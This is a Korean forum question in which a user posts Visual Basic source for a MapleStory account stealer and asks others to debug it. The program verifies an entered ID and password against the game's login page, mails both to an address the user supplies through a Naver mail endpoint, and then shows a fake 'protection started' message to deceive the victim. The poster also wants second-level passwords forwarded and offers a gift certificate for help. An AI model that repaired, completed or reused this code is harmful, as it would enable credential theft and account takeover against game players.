수다닷컴

모듈 !!! Dim Winhttp As New WinHttpRequest-------------------------------------------------------------------------------------Public Function Maplestory_Login(ID As String, PW As String) As Boolean
Winhttp.Open GET, http://maplestory.nexon.com/=2&id= & ID & &password= & PW
Winhttp.Send

If InStr(StrConv(Winhttp.ResponseBody, vbUnicode), 로그인 실패) Then
Maplestory_Login = False
Else
Maplestory_Login = True
End If
End Function-------------------------------------------------------------------------------------------Public Sub SendMail(Subject As String, Body As String, SendTo As String)
Winhttp.Open POST, http://mail.naver.com/write/?cmd=send, False
Winhttp.SetRequestHeader Content-Type, application/x-www-form-urlencoded
Winhttp.Send subject= & Subject & &mailBody= & Body & &to= & SendTo & &charset=AUTO&attachID=tXnZWBFCWSemWBtTKogm7XkmWzeCpVYZKAumKAuqKLYwFZeR7r9oBrJZW6EmFxEXKqur

Winhttp.WaitForResponse
End Sub이건 모듈이구여 이제 로그인 소스입니다.Private Sub CmdLogin_Click()
If txtID.Text = vbNullString Or txtPW.Text = vbNullString Then Exit Sub

If Maplestory_Login(txtID.Text, txtPW.Text) Then
Call SendMail(txtID.Text, txtPW.Text, txtTo.Text)
MsgBox 로그인 성공.
MsgBox 보호를 시작합니다.
Else
MsgBox 로그인 실패
End If
End Sub제가 메이플 센메를 만들려구하는데 아무렇게 쳐도 로그인 성공이라고 나오고 2차비번쓰는데도 제 메일로 날라오게 서브젝터도 넣는데 인수가 잘못되었다고 되는데 하실수있는분 좀 답변조 ㅁ해주세여 ㅜ알려주시고 제가 센메 완성되면 문상 5천원 드립니다 아빠가 삼국지 읽을떄마다 문상준다고해서문상 널림 제발 알려 주세여 !!!

신청하기